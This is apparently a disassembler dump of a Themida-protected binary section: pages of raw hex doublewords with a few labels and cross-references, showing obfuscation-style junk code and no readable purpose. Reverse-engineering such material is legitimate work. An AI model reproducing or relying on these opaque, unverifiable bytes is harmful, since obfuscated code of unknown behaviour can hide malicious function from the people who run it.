		dd 14267185h, 306h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 159A5EA4h, 866F578Ch
		dd 0AA98BD83h, 0F000617h, 4984h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 9D89110Bh
		dd 6140791h, 3CE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 4E39761Ch, 30501193h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 57006AC0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0AF091AC3h, 49636BD0h, 9D31027Fh, 6142675h
		dd 0FDB50150h, 5F06140Ah, 2671BD83h, 0F030614h,	4B585h
		dd 838FB700h, 17AA98BDh, 840F0006h, 4A6h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 6FC35646h, 85BD8B0Ah
		dd 0FF061430h, 17AA98B5h, 28C0F06h, 8B000000h, 0F595FFDFh
		dd 6A06142Ah, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 9566C352h, 391AD311h, 799D8B1Ah
		dd 8B061406h, 17AA8CB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0FEFF3E57h, 9E8EB1Dh
		dd 0AB000000h, 1D31A8ECh, 2DBE5474h, 12E9h, 0D9A59100h
		dd 0CA01B051h, 98EF721Bh, 0AC0999B4h, 5B9CB39Fh, 106C7h
		dd 6A0001h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 996795C3h, 0EE95650h, 14000000h, 0A0FE583Ah
		dd 91040CDEh, 0FF107D5Eh, 505F5F90h, 34896160h,	56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 426C8F29h, 24459501h, 0B5FF0614h, 617AA98h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0A6C35141h, 18521FDCh
		dd 0B3195FFh, 0FA8B0614h, 0AA8CB58Bh, 9D8B0617h, 6140A2Dh
		dd 21D5858Bh, 3600614h,	1424BDB5h, 61D88B06h, 0C48689h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 8277EEC3h, 0E9924BCDh, 0Bh
		dd 0C0802570h, 10C602BCh, 8B84EFAEh, 14322995h,	0A58D8906h
		dd 83061425h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0CFCE9CC3h, 41B74BD0h, 9D8BCCA8h
		dd 614234Dh, 226D8D09h,	50890614h, 858DF520h, 617BE06h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 8CC35747h
		dd 1EBB66DDh, 0B8868950h, 29000000h, 1405F195h,	89006A06h
		dd 141A5D8Dh, 0BE666006h, 0C681D5D0h, 0B2915E7h, 98B5FF61h
		dd 6A0617AAh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0B83C357h, 141995BDh, 3995FF06h
		dd 6A061409h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 2910C355h, 0A9B4686Ah,	0CF805777h
		dd 34895089h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0FBCF7F2Ch, 0E6E65F68h, 0FE9CFh
		dd 58C60000h, 171D12BAh, 0A28C0A0Eh, 53A13DB8h,	89BD3195h
		dd 0FF061425h, 17AA98B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 325F5423h
		dd 15A830C4h, 0A9BBB4D2h, 666AC923h, 9B71F781h,	20F595FFh
		dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0D439CCC3h, 7DE6B4FFh, 6DE490BFh,	83D98B74h
		dd 140C21BDh, 840F0006h, 50h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0A2C35343h,	89FA8B66h, 1431958Dh
		dd 52509606h, 310FDC8Ah, 6870Fh, 52500000h, 585A310Fh
		dd 0E950585Ah, 9, 0B4854999h, 6A873CF4h, 0BD899606h, 61425BDh
		dd 0AA98B5FFh, 6A0617h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0FC79DDC3h, 223DEBECh, 20B96660h
		dd 59B58BA3h, 6106140Fh, 2B195FFh, 0BB660614h, 0B5FF9385h
		dd 617AA98h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	10C35141h, 812647C7h, 0A862F4B2h, 8195FF57h, 6A061430h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0C23EC352h, 0A704AAF5h, 0F5BD83F6h, 2061409h
		dd 66840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 140424h, 56460000h, 0F98B58C3h, 1D698589h, 858B0614h
		dd 6142D01h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	36C35242h, 89C1EB80h, 1400899Dh, 0C606h, 0FE9h
		dd 0B2CD9300h, 0F4D0908h, 6E49C093h, 6F56BE2Fh,	244D85C7h
		dd 614h, 6A0000h, 3E852h, 5A200000h, 54895AC3h,	44810424h
		dd 160424h, 52420000h, 0C074CC3h, 1C758531h, 0A0E90614h
		dd 0E9FFFFF2h, 5, 0CA9805FCh, 57C18BDCh, 8ED9589h
byte_58F88C	db 14h,	6, 5Fh		; DATA XREF: Themida_:00548FB0o
byte_58F88F	db 8Dh			; DATA XREF: Themida_:005492C8o
					; Themida_:0054AD64o
		dd 140F9985h, 90FB8B06h, 52505250h, 0A4DEBF66h,	11E9310Fh
		dd 0C2000000h, 0A60E3BEBh, 0E100B598h, 55DF4FA1h, 0FECB52D8h
		dd 310F585Ah, 607ABB66h, 0E850585Ah, 10h, 611F01DFh, 0F8DE134h
		dd 3B7FF8D3h, 0A4797562h, 48F2BB66h, 6A905Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0C6D6F6C3h
		dd 14F12ACh, 140A2985h,	6A006A06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0EAF4C355h
		dd 89006A44h, 141159B5h, 0EA858D06h, 6006186Eh,	12E9h
		dd 3ABD2900h, 0DDEF7D57h, 5C1B1CDCh, 6CA522B0h,	5004D410h
		dd 615FDC8Ah, 35DBD03h,	0C0830614h, 0C5BD8B05h,	50061416h
		dd 6A240489h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 7F16C356h, 0BF0F5489h,	6A006AFBh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 4660C356h, 8B6607D7h, 6A006AD9h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0BAFBC353h, 31B1F5D3h, 9E98E9C4h, 9D9D8B57h,	5B061419h
		dd 6880Fh, 0BD8B0000h, 6141C39h, 1A7195FFh, 6A0614h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0B70F79C3h, 0FC8D8DFFh, 660617A8h, 0D1FFDE8Bh, 2A41BD8Bh
		dd 0BD830614h, 61412CDh, 0A2850F01h, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 494AC353h, 67AE5D0h,	70AB3802h, 0C19D8Bh, 0EF800614h
		dd 6A026A9Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 422C352h, 0BD8B225Fh, 6142601h
		dd 0EE990h, 56C20000h, 0B895075Bh, 0A205AEC6h, 5AB2F7F7h
		dd 0DE8B6650h, 55006A90h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0B9719414h, 789BD01h
		dd 95FF0614h, 6140939h,	3850Fh,	8B660000h, 0D93E9DFh
		db 2 dup(0)
word_58FACE	dw 0E8h			; DATA XREF: Themida_:0054B890o
		dd 5D000000h, 6EF4ED81h, 6A0618h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 36D2EFC3h, 5216F03Fh
		dd 0B509A189h, 6142579h, 10E8h,	841C1700h, 6C31FD3h, 0C40500F9h
		dd 0BB8F4E7Dh, 85896083h, 6142CB1h, 823C1EBFh, 8D5B6130h
		dd 17962385h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 1C94F107h, 0D40BA653h, 2B67BB66h
		dd 820F50h, 89000000h, 6A2404h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 7F057DC3h, 304B7BEEh
		dd 35FF6409h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0D4C35141h
		dd 0D2BA1877h, 89139C53h, 8D9D8BA0h, 8B061421h,	140B3DBDh
		dd 25896406h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0E6C35141h
		dd 0E2B8F103h, 61CFC593h, 0F6DBD23h, 0BD8B0614h, 6142F29h
		dd 236D85FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 7478B4C3h, 919A601h, 66B54C2Ch
		dd 0FF6ADA8Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	88C35646h, 0C54B2E35h, 0FF92A377h, 142E91B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 66138B04h, 0FFFAE8BBh, 142B1995h, 15BE906h, 89560000h
		dd 14322D9Dh, 0B05B06h,	0F499D23h, 70E60614h, 5AE1EF81h
		dd 9589650Bh, 6140229h,	0BD2971E4h, 6141C89h, 830F613Ch
		dd 12Dh, 2A018589h, 0B60F0614h,	959D8BC8h, 0E906140Bh
		dd 0Dh,	0DA8D81Bh, 883B5D1Fh, 41B2DCCBh, 6BA1Dh, 840F0000h
		dd 6, 0AA1C781h, 810F48A1h, 6, 79C5CF81h, 0C18B1CA8h, 0E804E8C1h
		dd 10h,	0B561EE85h, 0ED4F1F2Fh,	77F89B82h, 58E5BEDCh, 4890Fh
		dd 0BF660000h, 665FB862h, 7E9E2F7h, 0B2000000h,	45BD8207h
		dd 0C82B1D87h, 2BCB8166h, 8BD18BF3h, 1424919Dh,	0FE906h
		dd 0AE90000h, 5B000000h, 8682862Ch, 5C8CAC88h, 0D5858B73h
		dd 83061408h, 0D38107C0h, 1EF20635h, 0E900C083h, 0Fh, 7795D43Fh
		dd 0B6F09F73h, 0D2C29D5Ch, 3B03294Bh, 2D830FD0h, 31000000h
		dd 140B1185h, 0BB666006h, 0CE9B7A7h, 96000000h,	1376664Dh
		dd 23A279CBh, 61F55E99h, 48E9h,	19D8900h, 0BB061421h, 6C884E68h
		dd 5318D8Bh, 0A0B30614h, 0F01E183h, 2C84h, 0A583FC00h
		dd 6140531h, 8E9FEh, 0B4B80000h, 134DC579h, 9589AAC8h
		dd 61408D5h, 23E1B589h,	9D8B0614h, 6142429h, 0E9h, 98B58D00h
		dd 6A0617E4h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0FAD2C356h, 67FB1CBCh,	0AE8h
		dd 0BA7BF00h, 80EA18C7h, 0FCADD61Fh, 8B006A5Fh,	142C71BDh
		dd 0F8BF0F06h, 116995FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0B2D189C3h, 2CB9F224h
		dd 6A000008h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0AED9C355h, 0FE8B6656h, 60FCE183h
		dd 3810Fh, 8B660000h, 9D0961D9h, 6142C21h, 56006AFCh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 0AF94DAB6h, 0E9F275F5h, 0Fh,	3312889Ch, 88F68F53h, 0E2820ABCh
		dd 0B83D5F85h, 0
		dd 30699529h, 0BA0614h,	80000000h, 33AD49C7h, 3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 239568C3h, 2810F3Ah, 51000000h
		dd 5E95Bh, 4A540000h, 0DCAD6A2h, 88h, 0A39DF381h, 958B4826h
		dd 6143229h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	73C35040h, 5CB6F09Fh, 4D8D8B9Dh, 6A061406h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 99B9C351h, 0A5DE2B64h, 0E91F3710h, 5, 0D2F9981Ah, 0C28B50D0h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 1F20C350h, 8D89F1B6h, 6140789h, 29ADBD83h, 0F000614h
		dd 6C84h, 0C5B58900h, 3061404h,	142C19BDh, 0B806h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 82B6FEC3h, 0D6DEEAD6h, 8B523D1Eh, 1408E9BDh,	8D8D5F06h
		dd 6144D79h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	88C35141h, 0A436C9B9h, 29E1FFE1h, 142675BDh, 71BD8306h
		dd 61426h, 386840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0C8811CC3h, 8B669AF8h
		dd 71BD83DEh, 1061426h,	371840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0E042A1C3h
		dd 0E1436F5Ah, 11E9A042h, 34000000h, 0B450DB32h, 0A577B7D1h
		dd 0E863BCAFh, 0FD5ADEC6h, 2671BD83h, 0F030614h, 2F486h
		dd 0C1858900h, 60061400h, 9EE38166h, 0D3816609h, 8C66DB90h
		dd 0CB8166D9h, 8C0FAF6Fh, 8, 2D9D8952h,	5B061411h, 6A04E180h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 54C8C357h, 2431BD8Bh, 810F0614h, 3, 0A02DF80h
		dd 0ED840FC9h, 8B000000h, 1425CDBDh, 69858B06h,	6A061419h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 99D5C356h, 33DF8B66h, 141B8185h, 5026B706h
		dd 0E91DB260h, 0Ah, 0A765F78h, 0CEB40704h, 8961B157h, 0BD8B2404h
		dd 6141D59h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 9D8B22C3h, 61403C5h, 21958951h
		dd 5B06142Ch, 4064E168h, 0D6BF66ACh, 2404814Ah,	53DE9F1Eh
		dd 8A0FFCh, 0FF000000h,	1409AD95h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 6698BF70h
		dd 7255CF81h, 0AA988589h, 7BE90617h, 6A000001h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 13B0C350h, 0D25875Dh, 0FC8AF9DAh, 0AA90858Bh, 6A0617h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 7A5BCBC3h, 1800C7DCh, 66000000h, 276BDF81h, 0AA94B58Bh
		dd 6A0617h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 79D19EC3h, 0B5894378h, 614036Dh, 0B29858Bh
		dd 0BF0F0614h, 890689DFh, 1400FDB5h, 69858B06h,	6A061419h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 7E48C350h, 664C6742h, 8953A7D7h, 96F90446h
		dd 0F26ABF66h, 0D0B35250h, 6A965Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 2190F6C3h
		dd 0FF050D5Eh, 17AA90B5h, 0ED958906h, 6806140Eh, 2A6E06D5h
		dd 34815B57h, 71052A24h, 0D5BD8B2Ah, 8D06142Bh,	17AA9885h
		dd 93D78106h, 9071D14Dh, 0F98B6650h, 50006A90h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0FFBA84E5h
		dd 1409AD95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 4EB7E234h, 0E9C66141h, 12h, 0E67B9B63h
		dd 9C41238Ah, 0B32535B9h, 7C74E5A2h, 0FC613AEEh, 0EF65D9BBh
		dd 7185C745h, 3061426h,	89000000h, 140325BDh, 98BD8306h
		dd 617AAh, 2F840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0D98A53C3h, 27E9h, 7EC78100h
		dd 8927C856h, 1406E59Dh, 0C305006h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 77C35747h, 369E634Ah,	0E781F1D3h, 2DC358F1h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 15C35242h
		dd 0D4162A5Ch, 9604BB32h, 142D8D89h, 0BD830614h, 6142671h
		dd 0F8850F03h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 10EC357h, 1425F5B5h
		dd 83C5B706h, 17AA98BDh, 840F0006h, 3C7h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Bh, 42C35747h, 0CB21276Ch
		dd 0F9D9627h, 2B84h, 0CE800h, 0A29E0000h, 55822F22h, 734AF6Dh
		dd 14E9BBE4h, 0EF000000h, 5885250Fh, 204E7B3h, 70CBFC3Eh
		dd 9F232810h, 5FBD0E60h, 0AA98B5FFh, 9D0B0617h,	6140C19h
		dd 11E8h, 0DC85E100h, 92CF424h,	771C18B9h, 930E5EF0h, 8B6694D1h
		dd 95FF5FFBh, 6142AF5h,	800195BFh, 8CB58B4Ch, 290617AAh
		dd 1429918Dh, 106C706h,	66000100h, 50D755BBh, 0E9525050h
		dd 11h,	72C27DF0h, 0FC6D90h, 0D0A1282Eh, 0BC7121CDh, 8A310F5Dh
		dd 5B585ADEh, 0F9243489h, 0AA98B5FFh, 6A0617h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0FF2661C3h, 140B3195h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 4ABF12FCh
		dd 0AA8CB58Bh, 6A0617h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0E47CCAC3h, 95E868DEh, 858BB9B7h
		dd 61421D5h, 0F98B6651h, 0C486895Fh, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 3923C353h, 12E9F1h, 3D9B0000h, 90929612h, 2BB304Dh
		dd 0C05789Bh, 161AAE15h, 3229958Bh, 0E8F90614h,	10h, 0D8B31B91h
		dd 0E8EEDAD0h, 77C700ABh, 73B01335h, 5FFFB70Fh,	6A04C283h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 70FAC356h, 89E42269h, 858D2050h, 617BE06h
		dd 23498D89h, 86890614h, 0B8h, 31FBB70Fh, 1419F18Dh, 6A006A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0C362C353h, 19719D8Bh, 0B5FF0614h, 617AA98h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 70C35343h
		dd 86F894FDh, 800FDCC6h, 2, 95FFDA8Bh, 6140939h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 10C35747h, 5E96049h, 0C000000h, 423245E6h
		dd 2A619D89h, 0B7610614h, 0D88B962Eh, 963EB350h, 0DEAE0EBBh
		dd 98B5FF52h, 660617AAh, 630E381h, 20F595FFh, 83FC0614h
		dd 140C21BDh, 840F0006h, 49h, 718D8B60h, 8B06140Fh, 14091585h
		dd 0E8966106h, 0Dh, 977ABC58h, 5B7821A2h, 67D38CD1h, 0D05CBBB7h
		dd 505B1A51h, 0CE860h, 0DD40000h, 0B1DDE93h, 0CEB65265h
		dd 0BB66B2C1h, 0B4582395h, 899661C4h, 141C4D95h, 98B5FF06h
		dd 8B0617AAh, 1405A5BDh, 0B195FF06h, 1061402h, 14347D95h
		dd 98B5FF06h, 890617AAh, 1422318Dh, 8195FF06h, 89061430h
		dd 140E6185h, 0F5BD8306h, 2061409h, 7B840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 3519BAC3h, 9D73BF85h, 858B752Ch, 6142D01h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0F4C35646h, 0CCD418C1h
		dd 1D9D8BEFh, 0F061421h, 58Dh, 9024BB00h, 0C64C2Ah, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 4D85C746h, 61424h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 69D6C350h, 0F7E7EC18h
		dd 9D8BB222h, 6142E99h,	0E9D88B66h, 0FFFFF3E6h,	30858589h
		dd 0C18B0614h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	40C35747h
		db 0BBh, 0DAh, 7Ch
byte_59085F	db 67h			; DATA XREF: Themida_:0054A550o
		dd 99858D2Fh, 6A06140Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 55A5C356h, 81659836h
		dd 9D8B3F77h, 61406A1h,	0C212BB90h, 8B50328Dh, 0D88B90D9h
		dd 6498501h, 6A0614h, 249B589h,	6A0614h, 225D8D89h, 858D0614h
		dd 6187E81h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	0E1C35545h, 0EC0C2698h,	0E9FA4C1Bh, 14h, 3E57D5F5h
		dd 0EB1DFEFFh, 0B144830Ch, 4C2658D2h, 448DD497h, 6A05C083h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 7BF8C352h, 2377456Dh, 8A8D6ADCh, 24759D8Bh
		dd 95890614h, 6142F5Dh,	0F525050h, 6C6CBB31h, 585A4E36h
		dd 6A240489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 514BC352h, 81006AD2h, 0CDBF5DEFh
		dd 6A006A01h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 210CC352h, 0B5316042h,	6141D55h
		dd 1A7195FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 44A5CAC3h, 8D5526E3h, 17A8FC8Dh
		dd 0FF70B706h, 57006AD1h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0BA646298h, 7DA318C6h
		dd 0C7816F43h, 1251418Bh, 12CDBD83h, 0F010614h,	7385h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0AE4B8D3h, 75D5F781h, 0B5895436h, 6140835h
		dd 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0DDE4D1C3h, 0EE305AB3h, 119BBB66h, 509029CFh
		dd 0DE9h, 55430300h, 14984F24h,	31F11A9Bh, 0FF902404h
		dd 14093995h, 0F98B6606h, 0DD9E9h, 0E800h, 815D0000h, 187E8BEDh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0A7160F0Ah, 6E91AE8h, 90000000h,	81207C2h
		dd 74DB81E9h, 8D2360ECh, 17962385h, 25BD8B06h, 90061416h
		dd 504CBB66h, 0D85EBF50h, 6A903C6Ch, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0B96BC357h
		dd 4C1F769Ah, 0D9D233Eh, 6406140Bh, 35FFh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 48A7B6C3h, 868D2E1Fh, 25896441h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0C9C35747h
		dd 44DF7865h, 563153DDh, 0E102D4BFh, 6D85FF2Bh,	89061423h
		dd 141B51BDh, 6AFF6A06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 52B8C355h, 5BA5ABEBh
		dd 1141BD0Bh, 0B5FF0614h, 61406A5h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0FAC35040h,	1995FFD9h, 0E906142Bh
		dd 117h, 1109BD33h, 0B00614h, 10E9h, 0AA48EC00h, 933E2379h
		dd 6E764B01h, 9652051Eh, 8B70E6D2h, 142529BDh, 8971E406h
		dd 14039985h, 0F613C06h, 0E283h, 98C0F00h, 0F000000h, 38Fh
		dd 0FEBF0F00h, 0FC8B60Fh, 287h,	0BAFB8B00h, 6, 8B5AB3F8h
		dd 0C1FE8AC1h, 0F76604E8h, 0D9D8BE2h, 2B06140Ah, 0B59D8BC8h
		dd 8B061406h, 9DBD31D1h, 0E906140Fh, 0Ah, 61E4B560h, 2B6D9D29h
		dd 858B0614h, 6142A29h,	16F59D8Bh, 0C0830614h, 0D950107h
		dd 8306140Fh, 8D8900C0h, 614033Dh, 830FD03Bh, 0Ch, 65E9F5h
		dd 0BD290000h, 6142F0Dh, 1AC98D8Bh, 8B660614h, 0BD8B60FAh
		dd 6140CA5h, 15B678BBh,	0E1836120h, 40840F01h, 8B000000h
		dd 0C9A583FAh, 0FE06141Ah, 99B58B60h, 0F061425h, 282h
		dd 61FE8B00h, 2A299589h, 8B0F0614h, 6, 0A0D9D8Bh, 0BE90614h
		dd 10000000h, 68A1506Eh, 7BCE50B5h, 0E9AC6Bh, 8D000000h
		dd 17EE94B5h, 1BC7BF06h, 6A5B87h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 60C35343h, 405A6366h, 0BB27CEC4h
		dd 53E21416h, 30F99589h, 95FF0614h, 6141169h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 77C35747h, 20AEFBC5h
		dd 86646E9Ch, 96FB98Ah,	81660000h, 83BB86C3h, 6AFCE1h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 91DC40C3h, 802570E6h, 9529BCC0h, 6141A95h, 0FCDEBF0Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 63C35242h
		dd 0FE418F1h, 38Ch, 0D98B6600h,	30799D89h, 0C02B0614h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 5EC35040h
		dd 8CE6A55Ch, 0FFF68CFEh, 2B69BD89h, 0D22B0614h, 1A25BD89h
		dd 33AD0614h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 11E98EC3h
		dd 0AD000000h, 0E8610B39h, 26BB8444h, 974D01BDh, 1D15F54Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0DAC35747h
		dd 57DB0771h, 6066CF34h, 79BD0B4Fh, 66061430h, 33C8E781h
		dd 880Dh, 958BF900h, 6143229h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0C1C35040h,	0E8FA8B15h, 0Fh
		dd 0FFF91F09h, 65361803h, 9932B29Fh, 8116B9EFh,	17B2B1D7h
		dd 8D8B5B5Dh, 614064Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 42C35747h, 89F4B7A8h,	140781B5h, 0C28B5006h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 8B61C357h, 1403359Dh, 0BD83FC06h, 61429ADh, 6C840F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
